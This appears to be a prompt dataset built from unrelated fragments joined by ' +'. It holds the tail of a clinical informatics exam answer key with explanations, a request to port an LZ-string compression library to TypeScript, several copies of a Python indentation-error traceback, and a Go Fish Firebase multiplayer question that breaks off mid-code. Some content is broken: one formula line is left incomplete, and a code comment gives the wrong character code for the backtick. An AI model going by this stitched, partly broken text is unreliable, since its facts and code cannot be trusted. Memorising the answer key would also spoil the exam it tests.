(REF: Section 4.6.2 - Change Theories)\n7\nTHE ANSWER IS A. Using familiar designs, such as a color scheme that follows cultural norms can shorten the learning process. Design should be consistent across the EHR and interfaces should not be cluttered with information. Feedback is important to notify the user that his task was successful. (REF: Section 3.2.3 - Interface design standards and design principles)\n8\nTHE ANSWER IS C. The Positive likelihood ratio is defined as the true positive rate divided by the false positive rate.\xa0 (REF: Section 2.1.2 - Decision Science)\nLR(+) = sensitivity/(1-specificity) = TPR/FPR. \nLR(+) = \n9\nTHE ANSWER IS A. Workflow reengineering involves finding different paths to the same goal. Hiring another manager to oversee production simply reinforces the original protocols. Similarly, hiring new employees to relieve a bottleneck may ultimately be a part of process reengineering, but not necessarily. Workflow reengineering can not be accomplished in a stepwise fashion, It is an all-or-none proposition. (REF: Section 2.3.2. Principles of workflow re-engineering)\n10\nTHE ANSWER IS B. The negative predictive value is equal to the number of true negatives divided by the number of total negative test results, i.e. TN/(TN + FN).\xa0\xa0 Likewise, PPV is equal to TP/(TP + FP). Sensitivity is a measure of the test being used and is equal to the true positives divided by all patients who have the disease being tested for, i.e. Sens=TP/(TP +FN). Likewise, Specificity is the number of true negatives divided by all the patients without the disease being tested for, i.e. Spec=TN/(FP+TN). (REF: Section 2.1.2 - Decision Science)\n11\nTHE ANSWER IS C. Fast Health Interoperability Resources is an emerging standard from Health Level Seven which uses standard well-established web technologies to transfer health information. It is expected that development costs for FHIR should be significantly less than other (proprietary) technologies. DICOM is a set of protocols for transmission of medical images. Although FHIR should run on inexpensive commodity hardware, choice C is a better answer. Alas, there are no unbreakable encryption techniques. (REF: 3.4.7 Interoperability Standards)\n12\nTHE ANSWER IS B. The critical path of a project is the longest path from start to completion, which defines the minimum time required to complete the project. Slack or float is the degree to which a task can be postponed without delaying the end of the project. Tasks that fall along the critical path have no float. In this diagram, the critical path includes tasks B and E, so B has no float. (REF: Section 4.4.4 Project Management Tools)\n13\nTHE ANSWER IS C. Review of medical records is only permitted in the context of a doctor-patient relationship, which clearly does not exist here. Even though the nurse knew that it was possible for people to snoop through her records, that does not give anyone permission to do so. The fact that the doctor has administrative privilege to review records does not give him ethical permission, even though his own health is at stake. (REF: 1.1.5 - Ethics and Professionalism)\n14\nTHE ANSWER IS A. The environmental scan identifies, among other things, strengths of the organization, such as competitive advantages. In general, vision and mission statements should be written before the environmental scan. Budgeting is done as part of setting up an action plan, after the environmental scan. Ensuring ethical behavior could be an aspect of an internal scan, but is still not as good an answer as identifying strengths. (REF: 4.5.2 – Environmental Scanning)\n15\nTHE ANSWER IS B. Among those items listed, the only one which would completely prevent a user from using the system is a password reset. If users do not have access to the system, they will find ways to bypass it, either by using downtime procedures or by using another user’s password. Requests for additional training and non-critical bug fixes will be prioritized as resources allow. System lag is a very common complaint and is often multifactorial. A laggy system is frustrating, but still operational.\xa0 (REF: Section 3.5.3 - Clinical information system implementation)\n16\nTHE ANSWER IS B. In general, hospitals are required to provide care for indigent patients under a number of different systems. Federal law requires emergency care to be provided regardless of ability to pay. In addition, many hospitals are required to provide a certain amount of indigent care in order to maintain their tax-free status. Finally, many hospitals have physician training programs (residencies) which are subsidized by the government in exchange for providing indigent care. In nearly all these cases, the cost of indigent care is never reimbursed at the same rate as regular services, and the cost is shifted from well-paying patients to less well-paying patients. Capitation is the process of shifting the risk of the cost of care from the insurer to the provider by paying a fixed fee per patient regardless of services provided. Pay for performance initiatives seek to link reimbursement to the achievement of certain quality measures. One way insurers disincentivize patients from seeking care is by requiring co-payments at the time of service.\xa0 (REF: Section 1.2.5 -\xa0 Health economics and financing)\n17\nTHE ANSWER IS B. A Pareto chart is a histogram which lists common problems in decreasing order of occurrence. (REF: Section 4.4.5 Project Management – Informatics project challenges)\n18\nTHE ANSWER IS A. Fitts Law states that the time it takes for a person to click on an item on a screen is related to the distance to the item and (inversely) to the size of the item. Hick-Hyman Law states that the time it takes to make a decision is logarithmically related to the number of choices. Model Human Processor (MHP) is a model like Goals Operators Methods Selectors (GOMS) that determines how long it takes a person to perform a certain task. (REF: Section 3.2.1 Models, theories, and practices of HCI)\n19\nTHE ANSWER IS A. Managerial accounting, unlike financial accounting is directed at managers within the organization and provides them with financial information required to plan, implement and evaluate performance. Financial accounting describes the financial condition of the business in historical format, usually during the past year or quarter. Financial reports are prepared to meet regulatory requirements according to the Generally Accepted Accounting Principles (GAAP). (REF 4.5.6 - Principles of managerial accounting)\n20\nTHE ANSWER IS D. A shorter payback period indicates a better investment. For both the accounting rate of return and the internal rate of return, a higher percentage indicates a better investment. The present value (PV) of an item indicates its future value in today’s money.\xa0 (REF 4.5.5 Capital and operating budgeting)' +'Re-write this using typescript and es2021\n\n```js\n/\\*\\* Based on https://gist.github.com/JobLeonard/4bbc5cd5952f25560d59abb2d056f2a0 by @JobLeonard \\*/\n/\\*\n basic ranges of printable UTF16 values (as found in LZ-string): \n [32, 127), [160, 55296), [63744, 65536)\n We also have filter out string characters like:\n " (34)\n \' (39)\n ` (44)\n (Forward tick is safe: ´ (96))\n So:\n 32, 33, [35, 39), [40, 44), [45, 127), [160, 55296), [63744, 65536)\n \\*/\n// integer to unicode:\nexport function itou(i: number) {\n i += 32;\n if (i > 33 && i < 39) {\n i++;\n } else if (i > 38 && i < 44) {\n i += 2;\n } else if (i > 43 && i < 127) {\n i += 3;\n } else if (i > 126 && i < 55258) {\n i += 37; // === 160 - 128 + 3\n } else if (i > 55295) {\n i += 8485; // === 63744 - 55296 + 37 \n }\n return String.fromCharCode(i);\n}\nexport function utoi(i: number) {\n return i - (i > 63743 ? 8517 :\n i > 159 ? 69 :\n i > 46 && i < 130 ? 35 :\n i > 40 && i < 46 ? 34 :\n i > 34 && i < 40 ? 33 :\n 32);\n}\n\nfunction \\_node (val) { return { v: val, d: {} }; }\nexport function compress(input: Uint8Array) {\n if (input === null) return \'\';\n let i = 0,\n j = 0,\n value = 0,\n dictionary = { d: {} },\n freshNode = true,\n c = 0,\n node = \\_node(2), // first node will always be initialised like this.\n nextNode,\n enlargeIn = 2,\n dictSize = 3,\n numBits = 2,\n data = [],\n data\\_val = 0,\n data\\_position = 0;\n\n if (input.length) {\n // Write length of the input as the first four unicode characters,\n // Or 45 bits. 1<<45 bytes is about 35 terabytes, so more than enough.\n value = input.length;\n data.push(itou(value / 40000000 & 0x7FFF));\n data.push(itou((value >>> 15) & 0x7FFF));\n data.push(itou(value & 0x7FFF));\n\n // If there is an array, the first byte is guaranteed to\n // be new, so we write it to output stream, and add it to the\n // dictionary. For the same reason we can initialize freshNode\n // as true, and new\\_node, node and dictSize as if\n // it was already added to the dictionary (see above).\n\n c = input[0];\n\n // === Write first byte token to output ==\n\n // insert new byte token into bitstream\n for (i = 0; i < numBits; i++) {\n // Value for "new token" is 0\n data\\_val <<= 1;\n if (++data\\_position === 15) {\n data\\_position = 0;\n data.push(itou(data\\_val));\n data\\_val = 0;\n }\n }\n // insert byt bits into bitstream\n for (i = 0; i < 8; i++) {\n // shifting has precedence over bitmasking\n data\\_val = c >> i & 1 | data\\_val << 1;\n if (++data\\_position === 15) {\n data\\_position = 0;\n data.push(itou(data\\_val));\n data\\_val = 0;\n }\n }\n\n // Add charCode to the dictionary.\n dictionary[c] = node;\n\n for (j = 1; j < input.length; j++) {\n c = input[j];\n // does the new charCode match an existing prefix?\n nextNode = node.d[c];\n if (nextNode) {\n // continue with next prefix\n node = nextNode;\n } else {\n\n // Prefix+charCode does not exist in trie yet.\n // We write the prefix to the bitstream, and add\n // the new charCode to the dictionary if it\'s new\n // Then we set `node` to the root node matching\n // the charCode.\n\n if (freshNode) {\n // Prefix is a freshly added character token,\n // which was already written to the bitstream\n freshNode = false;\n } else {\n // write out the current prefix token\n value = node.v;\n for (i = 0; i < numBits; i++) {\n // shifting has precedence over bitmasking\n data\\_val = value >> i & 1 | data\\_val << 1;\n if (++data\\_position === 15) {\n data\\_position = 0;\n data.push(itou(data\\_val));\n data\\_val = 0;\n }\n }\n }\n\n // Is the byte a new byte\n // that needs to be stored at the root?\n if (dictionary[c] === undefined) {\n // increase token bitlength if necessary\n if (--enlargeIn === 0) {\n enlargeIn = 1 << numBits++;\n }\n\n // insert new byte token\n for (i = 0; i < numBits; i++) {\n data\\_val <<= 1;\n if (++data\\_position === 15) {\n data\\_position = 0;\n data.push(itou(data\\_val));\n data\\_val = 0;\n }\n }\n for (i = 0; i < 8; i++) {\n data\\_val = c >> i & 1 | data\\_val << 1;\n if (++data\\_position === 15) {\n data\\_position = 0;\n data.push(itou(data\\_val));\n data\\_val = 0;\n }\n }\n dictionary[c] = \\_node(dictSize++);\n // Note of that we already wrote\n // the charCode token to the bitstream\n freshNode = true;\n }\n // add node representing prefix + new charCode to trie\n node.d[c] = \\_node(dictSize++);\n // increase token bitlength if necessary\n if (--enlargeIn === 0) {\n enlargeIn = 1 << numBits++;\n }\n // set node to first charCode of new prefix\n node = dictionary[c];\n }\n }\n\n // === Write last prefix to output ===\n if (freshNode) {\n // character token already written to output\n freshNode = false;\n } else {\n // write out the prefix token\n value = node.v;\n for (i = 0; i < numBits; i++) {\n // shifting has precedence over bitmasking\n data\\_val = value >> i & 1 | data\\_val << 1;\n if (++data\\_position === 15) {\n data\\_position = 0;\n data.push(itou(data\\_val));\n data\\_val = 0;\n }\n }\n }\n\n // Is c a new character?\n if (dictionary[c] === undefined) {\n // increase token bitlength if necessary\n if (--enlargeIn === 0) {\n enlargeIn = 1 << numBits++;\n }\n for (i = 0; i < numBits; i++) {\n data\\_val <<= 1;\n if (++data\\_position === 15) {\n data\\_position = 0;\n data.push(itou(data\\_val));\n data\\_val = 0;\n }\n }\n for (i = 0; i < 8; i++) {\n data\\_val = c >> i & 1 | data\\_val << 1;\n if (++data\\_position === 15) {\n data\\_position = 0;\n data.push(itou(data\\_val));\n data\\_val = 0;\n }\n }\n }\n // increase token bitlength if necessary\n if (--enlargeIn === 0) {\n enlargeIn = 1 << numBits++;\n }\n }\n\n // Mark the end of the stream\n for (i = 0; i < numBits; i++) {\n // shifting has precedence over bitmasking\n data\\_val = 1 >> i | data\\_val << 1;\n if (++data\\_position === 15) {\n data\\_position = 0;\n data.push(itou(data\\_val));\n data\\_val = 0;\n }\n }\n\n // Flush the last char\n data\\_val <<= 15 - data\\_position;\n data.push(itou(data\\_val));\n\n data.push(\' \');\n return data.join(\'\');\n\n}\n\nexport function decompress(compressed) {\n if (compressed === null || compressed.length < 4) return null;\n\n let length = compressed.length,\n getNextValue = function (index) { return utoi(compressed.charCodeAt(index)); };\n let dictionary = [0, 1],\n enlargeIn = 1,\n dictSize = 3,\n numBits = 2,\n bytes = null,\n bytes\\_concat = null,\n result = new Uint8Array(\n getNextValue(0) \\* 0x40000000 +\n (getNextValue(1) << 15) +\n getNextValue(2)),\n result\\_index = 0,\n bits = 0,\n maxPower = 2,\n power = 0,\n data\\_val = getNextValue(3),\n data\\_position = 15,\n data\\_index = 4;\n\n // Get first token, guaranteed to be either\n // a new byte token or end of stream token.\n while (power < maxPower) {\n // shifting has precedence over bitmasking\n bits += (data\\_val >> --data\\_position & 1) << power++;\n if (data\\_position === 0) {\n data\\_position = 15;\n data\\_val = getNextValue(data\\_index++);\n }\n }\n\n if (bits === 1) {\n return null;\n }\n\n // else, get byte value\n bits = power = 0;\n while (power < 8) {\n // shifting has precedence over bitmasking\n bits += (data\\_val >> --data\\_position & 1) << power++;\n if (data\\_position === 0) {\n data\\_position = 15;\n data\\_val = getNextValue(data\\_index++);\n }\n }\n bytes = [bits];\n dictionary[2] = bytes;\n result[result\\_index++] = bits;\n\n // read rest of string\n while (data\\_index <= length) {\n // read out next token\n maxPower = numBits;\n bits = power = 0;\n while (power < maxPower) {\n // shifting has precedence over bitmasking\n bits += (data\\_val >> --data\\_position & 1) << power++;\n if (data\\_position === 0) {\n data\\_position = 15;\n data\\_val = getNextValue(data\\_index++);\n }\n }\n\n // 0 implies new byte\n if (!bits) {\n bits = power = 0;\n while (power < 8) {\n // shifting has precedence over bitmasking\n bits += (data\\_val >> --data\\_position & 1) << power++;\n if (data\\_position === 0) {\n data\\_position = 15;\n data\\_val = getNextValue(data\\_index++);\n }\n }\n dictionary[dictSize] = [bits];\n bits = dictSize++;\n if (--enlargeIn === 0) {\n enlargeIn = 1 << numBits++;\n }\n } else if (bits === 1) {\n // end of stream token\n return result;\n }\n\n if (bits > dictionary.length) {\n return null;\n }\n bytes\\_concat = bits < dictionary.length ? dictionary[bits] : bytes.concat(bytes[0]);\n for (let i = 0; i < bytes\\_concat.length; i++) {\n result[result\\_index++] = bytes\\_concat[i];\n }\n dictionary[dictSize++] = bytes.concat(bytes\\_concat[0]);\n bytes = bytes\\_concat;\n\n if (--enlargeIn === 0) {\n enlargeIn = 1 << numBits++;\n }\n\n }\n return null;\n}\n\nexport const LZ = {\n itou,\n utoi,\n compress,\n decompress\n};\n\nfunction testCompression(LZ) {\n console.log(\'Testing utoi/itou functions\');\n let utoiMismatches = [];\n for (let i = 0; i < 1 << 15; i++) {\n let j = LZ.utoi(LZ.itou(i).charCodeAt(0));\n if (i !== j) {\n utoiMismatches.push({ itou: i, utio: j });\n }\n }\n\n if (utoiMismatches.length) {\n console.log("Errors in itou/utoi conversion detected:", utoiMismatches);\n } else {\n console.log(\'No errors in itou/utoi conversion detected\');\n }\n\n let input = new Uint16Array(1 << 15);\n for (let i = 0; i < input.length; i++) {\n input[i] = i >> 4;\n }\n let inputUint8 = new Uint8Array(input.buffer);\n let compressed = LZ.compress(inputUint8);\n let decompressed = new Uint16Array(LZ.decompress(compressed).buffer);\n let mismatches = [];\n for (let i = 0; i < input.length; i++) {\n if (input[i] !== decompressed[i]) {\n mismatches.push({ index: i, input: input[i], decompressed: decompressed[i] });\n }\n }\n console.log({\n compressed,\n mismatches,\n length: compressed.length,\n inputLength: input.length,\n });\n}\n```' +'still error : PS C:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App> c:; cd \'c:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App\'; & \'C:\\Program Files\\Python311\\python.exe\' \'c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher\' \'50397\' \'--\' \'c:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App\\main.py\' \nTraceback (most recent call last):\n File "C:\\Program Files\\Python311\\Lib\\runpy.py", line 198, in \\_run\\_module\\_as\\_main\n return \\_run\\_code(code, main\\_globals, None,\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Program Files\\Python311\\Lib\\runpy.py", line 88, in \\_run\\_code\n exec(code, run\\_globals)\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher/../..\\debugpy\\\\_\\_main\\_\\_.py", line 39, in \n cli.main()\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher/../..\\debugpy/..\\debugpy\\server\\cli.py", line 430, in main\n run()\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher/../..\\debugpy/..\\debugpy\\server\\cli.py", line 284, in run\\_file\n runpy.run\\_path(target, run\\_name="\\_\\_main\\_\\_")\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\\\_vendored\\pydevd\\\\_pydevd\\_bundle\\pydevd\\_runpy.py", line 320, in run\\_path\n code, fname = \\_get\\_code\\_from\\_file(run\\_name, path\\_name)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\\\_vendored\\pydevd\\\\_pydevd\\_bundle\\pydevd\\_runpy.py", line 294, in \\_get\\_code\\_from\\_file\n code = compile(f.read(), fname, \'exec\')\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "c:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App\\main.py", line 108\n def speak\\_button\\_clicked():\nIndentationError: expected an indented block after \'except\' statement on line 105\nPS C:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App> c:; cd \'c:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App\'; & \'C:\\Program Files\\Python311\\python.exe\' \'c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher\' \'50409\' \'--\' \'c:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App\\main.py\' \nTraceback (most recent call last):\n File "C:\\Program Files\\Python311\\Lib\\runpy.py", line 198, in \\_run\\_module\\_as\\_main\n return \\_run\\_code(code, main\\_globals, None,\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Program Files\\Python311\\Lib\\runpy.py", line 88, in \\_run\\_code\n exec(code, run\\_globals)\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher/../..\\debugpy\\\\_\\_main\\_\\_.py", line 39, in \n cli.main()\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher/../..\\debugpy/..\\debugpy\\server\\cli.py", line 430, in main\n run()\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher/../..\\debugpy/..\\debugpy\\server\\cli.py", line 284, in run\\_file\n runpy.run\\_path(target, run\\_name="\\_\\_main\\_\\_")\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\\\_vendored\\pydevd\\\\_pydevd\\_bundle\\pydevd\\_runpy.py", line 320, in run\\_path\n code, fname = \\_get\\_code\\_from\\_file(run\\_name, path\\_name)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\\\_vendored\\pydevd\\\\_pydevd\\_bundle\\pydevd\\_runpy.py", line 294, in \\_get\\_code\\_from\\_file\n code = compile(f.read(), fname, \'exec\')\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "c:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App\\main.py", line 108\n def speak\\_button\\_clicked():\nIndentationError: expected an indented block after \'except\' statement on line 105\nPS C:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App> c:; cd \'c:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App\'; & \'C:\\Program Files\\Python311\\python.exe\' \'c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher\' \'50423\' \'--\' \'c:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App\\main.py\' \nTraceback (most recent call last):\n File "C:\\Program Files\\Python311\\Lib\\runpy.py", line 198, in \\_run\\_module\\_as\\_main\n return \\_run\\_code(code, main\\_globals, None,\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Program Files\\Python311\\Lib\\runpy.py", line 88, in \\_run\\_code\n exec(code, run\\_globals)\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher/../..\\debugpy\\\\_\\_main\\_\\_.py", line 39, in \n cli.main()\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher/../..\\debugpy/..\\debugpy\\server\\cli.py", line 430, in main\n run()\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher/../..\\debugpy/..\\debugpy\\server\\cli.py", line 284, in run\\_file\n runpy.run\\_path(target, run\\_name="\\_\\_main\\_\\_")\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\\\_vendored\\pydevd\\\\_pydevd\\_bundle\\pydevd\\_runpy.py", line 320, in run\\_path\n code, fname = \\_get\\_code\\_from\\_file(run\\_name, path\\_name)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\\\_vendored\\pydevd\\\\_pydevd\\_bundle\\pydevd\\_runpy.py", line 294, in \\_get\\_code\\_from\\_file\n code = compile(f.read(), fname, \'exec\')\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "c:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App\\main.py", line 108\n def speak\\_button\\_clicked():\nIndentationError: expected an indented block after \'except\' statement on line 105\nPS C:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App> c:; cd \'c:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App\'; & \'C:\\Program Files\\Python311\\python.exe\' \'c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher\' \'50434\' \'--\' \'c:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App\\main.py\' \nTraceback (most recent call last):\n File "C:\\Program Files\\Python311\\Lib\\runpy.py", line 198, in \\_run\\_module\\_as\\_main\n return \\_run\\_code(code, main\\_globals, None,\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Program Files\\Python311\\Lib\\runpy.py", line 88, in \\_run\\_code\n exec(code, run\\_globals)\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher/../..\\debugpy\\\\_\\_main\\_\\_.py", line 39, in \n cli.main()\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher/../..\\debugpy/..\\debugpy\\server\\cli.py", line 430, in main\n run()\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher/../..\\debugpy/..\\debugpy\\server\\cli.py", line 284, in run\\_file\n runpy.run\\_path(target, run\\_name="\\_\\_main\\_\\_")\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\\\_vendored\\pydevd\\\\_pydevd\\_bundle\\pydevd\\_runpy.py", line 320, in run\\_path\n code, fname = \\_get\\_code\\_from\\_file(run\\_name, path\\_name)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\\\_vendored\\pydevd\\\\_pydevd\\_bundle\\pydevd\\_runpy.py", line 294, in \\_get\\_code\\_from\\_file\n code = compile(f.read(), fname, \'exec\')\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "c:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App\\main.py", line 109\n def speak\\_button\\_clicked():\nIndentationError: expected an indented block after \'except\' statement on line 105' +'How do I add multiplayer to my go fish web game using firebase? Here is some code from the game function shuffle(array) {\n let currentIndex = array.length, randomIndex;\n\n \n while (currentIndex != 0) {\n\n \n randomIndex = Math.floor(Math.random() \\* currentIndex);\n currentIndex--;\n\n \n [array[currentIndex], array[randomIndex]] = [\n array[randomIndex], array[currentIndex]];\n }\n\n return array;\n}\n function removeAllChildNodes(parent) {\n while (parent.firstChild) {\n parent.removeChild(parent.firstChild);\n }\n}\n let players = [{name:"Thomas", inventory:[],suitlessInventory:[],books:0,isBot:false}, {name:"Bot", inventory:[],suitlessInventory:[],books:0,isBot:true}]\n \n let curPlayerId = 0\n \n let currentTurn = 0\n let currentlySelectedCard = null\n const askbuttton = document.getElementById("askbuttonscontainer")\n const cardContanier = document.getElementById(\'cardContanier\')\n const suits = ["Clubs", "Diamonds", "Hearts", "Spades"]\n let cards\n const messageElement = document.getElementById(\'messagesUpdate\')\n let message = " "\n const curTurnLabel = document.getElementById("currentturn")\n const table = document.getElementById("bookCount")\n function UpdateMessageElement(){\n setTimeout(function(){messageElement.innerHTML = message},500)\n }\n function UpdateTable(){\n removeAllChildNodes(table)\n const defualtTr = document.createElement("tr")\n const books = document.createElement("td")\n books.innerHTML = "Books"\n const player = document.createElement("td")\n player.innerHTML = "Player"\n defualtTr.appendChild(player)\n defualtTr.appendChild(books)\n table.appendChild(defualtTr)\n\n for (var i = 0; i< players.length;i++){\n const tr = document.createElement("tr")\n\n const tdName = document.createElement("td")\n const tdBooks = document.createElement("td")\n tdName.innerHTML = players[i].name\n tdBooks.innerHTML = players[i].books\n tr.appendChild(tdName)\n tr.appendChild(tdBooks)\n table.appendChild(tr)\n }\n }\n setInterval(UpdateMessageElement,500)\n function UpdateUi(){\n const curPlayer = players[curPlayerId]\n curPlayer.inventory.sort((a,b)=>a.value-b.value)\n curPlayer.suitlessInventory.sort((a,b)=>a-b)\n removeAllChildNodes(cardContanier)\n for (var i = 0; i < curPlayer.inventory.length; i++){\n curCard = curPlayer.inventory[i];\n button = document.createElement("button");\n img = document.createElement(\'img\');\n suitLowered = curCard.suit.toLowerCase()\n img.src ="PNG-cards-1.3/" + curCard.value + "\\_of\\_" + suitLowered + ".png";\n img.className = "card"\n button.className = "cardButton"\n button.setAttribute(\'data-cardVal\', curCard.value);\n button.addEventListener("click",ShowAskOptions);\n button.appendChild(img);\n \n cardContanier.appendChild(button);\n }}\n function GameStart(){\n cards = [\n {\n "value": 1,\n "suit": "Clubs"\n },\n {\n "value": 2,\n "suit": "Clubs"\n },\n {\n "value": 3,\n "suit": "Clubs"\n },\n {\n "value": 4,\n "suit": "Clubs"\n },\n {\n "value": 5,\n "suit": "Clubs"\n },\n {\n "value": 6,\n "suit": "Clubs"\n },\n {\n "value": 7,\n "suit": "Clubs"\n },\n {\n "value": 8,\n "suit": "Clubs"\n },\n {\n "value": 9,\n "suit": "Clubs"\n },\n {\n "value": 10,\n "suit": "Clubs"\n },\n {\n "value": 11,\n "suit": "Clubs"\n },\n {\n "value": 12,\n "suit": "Clubs"\n },\n {\n "value": 13,\n "suit": "Clubs"\n },\n {\n "value": 1,\n "suit": "Diamonds"\n },\n {\n "value": 2,\n "suit": "Diamonds"\n },\n {\n "value": 3,\n "suit": "Diamonds"\n },\n {\n "value": 4,\n "suit": "Diamonds"\n },\n {\n "value": 5,\n "suit": "Diamonds"\n },\n {\n "value": 6,\n "suit": "Diamonds"\n },\n {\n "value": 7,\n "suit": "Diamonds"\n },\n {\n "value": 8,\n "suit": "Diamonds"\n },\n {\n "value": 9,\n "suit": "Diamonds"\n },\n {\n "value": 10,\n "suit": "Diamonds"\n },\n {\n "value": 11,\n "suit": "Diamonds"\n },\n {\n "value": 12,\n "suit": "Diamonds"\n },\n {\n "value": 13,\n "suit": "Diamonds"\n },\n {\n "value": 1,\n "suit": "Hearts"\n },\n {\n "value": 2,\n "suit": "Hearts"\n },\n {\n "value": 3,\n "suit": "Hearts"\n },\n {\n "value": 4,\n "suit": "Hearts"\n },\n {\n "value": 5,\n "suit": "Hearts"\n },\n {\n "value": 6,\n "suit": "Hearts"\n },\n {\n "value": 7,\n "suit": "Hearts"\n },\n {\n "value": 8,\n "suit": "Hearts"\n },\n {\n "value": 9,\n "suit": "Hearts"\n },\n {\n "value": 10,\n "suit": "Hearts"\n },\n {\n "value": 11,\n "suit": "Hearts"\n },\n {\n "value": 12,\n "suit": "Hearts"\n },\n {\n "value": 13,\n "suit": "Hearts"\n },\n {\n "value": 1,\n "suit": "Spades"\n },\n {\n "value": 2,\n "suit": "Spades"\n },\n {\n "value": 3,\n "suit": "Spades"\n },\n {\n "value": 4,\n "suit": "Spades"\n },\n {\n "value": 5,\n "suit": "Spades"\n },\n {\n "value": 6,\n "suit": "Spades"\n },\n {\n "value": 7,\n "suit": "Spades"\n },\n {\n "value": 8,\n "suit": "Spades"\n },\n {\n "value": 9,\n "suit": "Spades"\n },\n {\n "value": 10,\n "suit": "Spades"\n },\n {\n "value": 11,\n "suit": "Spades"\n },\n {\n "value": 12,\n "suit": "Spades"\n },\n {\n "value": 13,\n "suit": "Spades"\n }\n]\n shuffle(cards)\n for (var i = 0; i < players.length; i++) {\n curPlayer = players[i]\n Give(cards.splice(0,7),i)\n }\n curTurnLabel.innerHTML = "It is " + players[currentTurn].name + "\'s 